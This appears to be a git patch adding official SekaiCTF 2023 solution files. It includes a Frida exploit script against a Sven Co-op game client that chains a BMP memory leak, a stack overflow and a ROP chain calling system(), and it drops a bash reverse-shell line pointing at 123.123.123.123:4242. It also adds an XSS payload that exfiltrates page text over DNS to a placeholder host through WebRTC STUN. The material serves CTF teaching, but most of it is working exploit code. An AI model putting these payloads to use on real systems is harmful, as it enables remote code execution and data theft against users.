From 52ac5939d255a07c2c723dee5ad09e5c32140471 Mon Sep 17 00:00:00 2001 From: sahuang Date: Tue, 29 Aug 2023 13:02:29 -0700 Subject: [PATCH] SekaiCTF 2023 Challenges --- README.md | 5 +- pwn/hibana/solution/README.md | 2 +- pwn/hibana/solution/frida.js | 20 +++++ web/golf-jail/solution/solve.txt | 1 + web/leakless-note/solution/solve.html | 104 ++++++++++++++++++++++++++ 5 files changed, 129 insertions(+), 3 deletions(-) create mode 100644 web/golf-jail/solution/solve.txt create mode 100644 web/leakless-note/solution/solve.html diff --git a/README.md b/README.md index 1a5d4888..0cc4f2bc 100644 --- a/README.md +++ b/README.md @@ -8,11 +8,11 @@ This repository contains official **source code** and **writeups** for challenges from [SekaiCTF 2023][CTFTime Event]. -[CTFTime Event][CTFTime Event] • [Website][Website] • [Discord][Discord] • [Blog][Blog] • -[Twitter][Twitter] +[Twitter][Twitter] • +[SekaiCTF 2022][CTF 2022] --- @@ -138,6 +138,7 @@ Any **non-code/program content** (writeups, READMEs, descriptions) in this repos [Blog]: https://sekai.team/ [Twitter]: https://twitter.com/projectsekaictf [Discord]: https://discord.gg/6gk7jhCgGX +[CTF 2022]: https://github.com/project-sekai-ctf/sekaictf-2022 [agpl]: https://www.gnu.org/licenses/agpl-3.0.en.html [cc-by-nc-sa]: https://creativecommons.org/licenses/by-nc-sa/4.0/ diff --git a/pwn/hibana/solution/README.md b/pwn/hibana/solution/README.md index 71078835..1fe308ad 100644 --- a/pwn/hibana/solution/README.md +++ b/pwn/hibana/solution/README.md @@ -1,4 +1,4 @@ -## TL;DR +## How to run the exploit - Edit the script to change reverse shell address and port - Spawn a listen netcat diff --git a/pwn/hibana/solution/frida.js b/pwn/hibana/solution/frida.js index 991d9dd2..49c9a2ad 100644 --- a/pwn/hibana/solution/frida.js +++ b/pwn/hibana/solution/frida.js @@ -4,6 +4,12 @@ console.log('[+] hw.dll =', hw.base); var basePath = hw.path.substring(0, hw.path.length - 6) + 'svencoop_downloads\\'; console.log('[+] basePath =', basePath); +// The plugin doesn't check the bfOffBits (offset 0xA) field, which is the offset from +// the beginning of the file to pixels data, and mmaped regions will always have +// the same relative distance to libc, so we get a very powerful arbitrary leak. +// We will read the main TCB, which have the stack canary as well as a libc pointer. +// To find the main TCB, we can use `search` command in pwndbg to search for the canary. + const leakBmpHeader = [0x42, 0x4d, 0x36, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xaf, 0xa5, 0xff, 0x28, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -13,9 +19,12 @@ File.writeAllBytes(basePath + 'headicons\\leak.bmp', leakBmpHeader); File.writeAllBytes(basePath + 'x.xyz', new ArrayBuffer('bash -i >& /dev/tcp/123.123.123.123/4242 0>&1\n')); function makeExploit(sprData) { + // SPR file processing: https://github.com/yuraj11/HL-Texture-Tools/blob/master/HL%20Texture%20Tools/HLTools/SpriteLoader.cs var palette = new Uint8Array(sprData.slice(42, 810)); var bitmap = new Uint8Array(sprData.slice(830, sprData.length)); var data = new Uint8Array(768); + + // SPR uses RGB while BMP uses BGR, so we need to convert to reconstruct the original memory layout for (let i = 0; i < 16; ++i) { for (let j = 0; j < 16; ++j) { data[48 * i + j * 3 + 0] = palette[bitmap[(15 - i) * 16 + j] * 3 + 2]; @@ -29,6 +38,11 @@ function makeExploit(sprData) { console.log("[+] libc =", libc.toString(16)); console.log("[+] canary =", canary.toString(16)); + // The plugin build a RGB palette based on every different color in the original BMP. + // However while the maximum size of the palette buffer on stack is 256 * 3 = 768 bytes, there are no OOB checks. + // If the BMP has too many different colors, a stack BOF will happen. + // We abuse this to overwrite return address and start our ROP chain, which will call system(). + var rop2 = new Uint32Array(12); rop2[0] = libc + 0x000b3f3c; // add dword ptr [eax], esp ; ret rop2[1] = libc + 0x000d9028; // mov eax, dword ptr [eax] ; ret @@ -95,6 +109,10 @@ function makeExploit(sprData) { f.close(); } +// Diff patching `engine_i686.so`, we see that it is possible to upload files to dedicated servers. +// By analyzing engine_i686.so, we found out that files are sent from the server by calling `Netchan_CreateFragments` and `Netchan_FragSend`. +// Since the network code are shared between client and server, we can find and call these functions on client as well. + var Netchan_CreateFragments = new NativeFunction(hw.base.add(0x750E0), 'void', ['int', 'pointer', 'pointer'], { exceptions: 'propagate' }); var Netchan_FragSend = new NativeFunction(hw.base.add(0x75730), 'void', ['pointer'], { exceptions: 'propagate' }); var clsChanAddr = hw.base.add(0x399A38); @@ -105,6 +123,7 @@ function sendFile(path) { Netchan_FragSend(clsChanAddr); } +// We intercept `upload` console command to upload files, since the original function will only upload customization data (i.e. custom spray) var CL_BeginUpload_fAddr = hw.base.add(0x2AE20); var CL_BeginUpload_f = new NativeFunction(CL_BeginUpload_fAddr, 'void', [], { exceptions: 'propagate' }); var Cmd_Argv = new NativeFunction(hw.base.add(0x39810), 'pointer', ['int'], { exceptions: 'propagate' }); @@ -118,6 +137,7 @@ Interceptor.replace(CL_BeginUpload_fAddr, new NativeCallback(() => { CL_BeginUpload_f(); }, 'void', [])); +// We intercept `CL_ProcessFile`, because it's where downloaded data from servers are processed. var CL_ProcessFileAddr = hw.base.add(0x29B80); var CL_ProcessFile = new NativeFunction(CL_ProcessFileAddr, 'void', ['int', 'pointer'], { exceptions: 'propagate' }); diff --git a/web/golf-jail/solution/solve.txt b/web/golf-jail/solution/solve.txt new file mode 100644 index 00000000..943b6728 --- /dev/null +++ b/web/golf-jail/solution/solve.txt @@ -0,0 +1 @@ +https://golfjail.chals.sekai.team/?a=`;/*&xss=%3Csvg%20onload=eval(%27`%27%2BbaseURI)%3E&b=*/pc=new/**/RTCPeerConnection({[`iceServers`]:[{[`urls`]:[`stun:${document.childNodes[0].textContent.split(``).map(function(c){return/**/c.charCodeAt(0).toString(16)}).join(``).slice(0,32)}.DNSBIN.com`]}]});pc.createOffer({offerToReceiveAudio:1}).then(function(o){pc.setLocalDescription(o)}); \ No newline at end of file diff --git a/web/leakless-note/solution/solve.html b/web/leakless-note/solution/solve.html new file mode 100644 index 00000000..5e19c521 --- /dev/null +++ b/web/leakless-note/solution/solve.html @@ -0,0 +1,104 @@ + + + + + + + \ No newline at end of file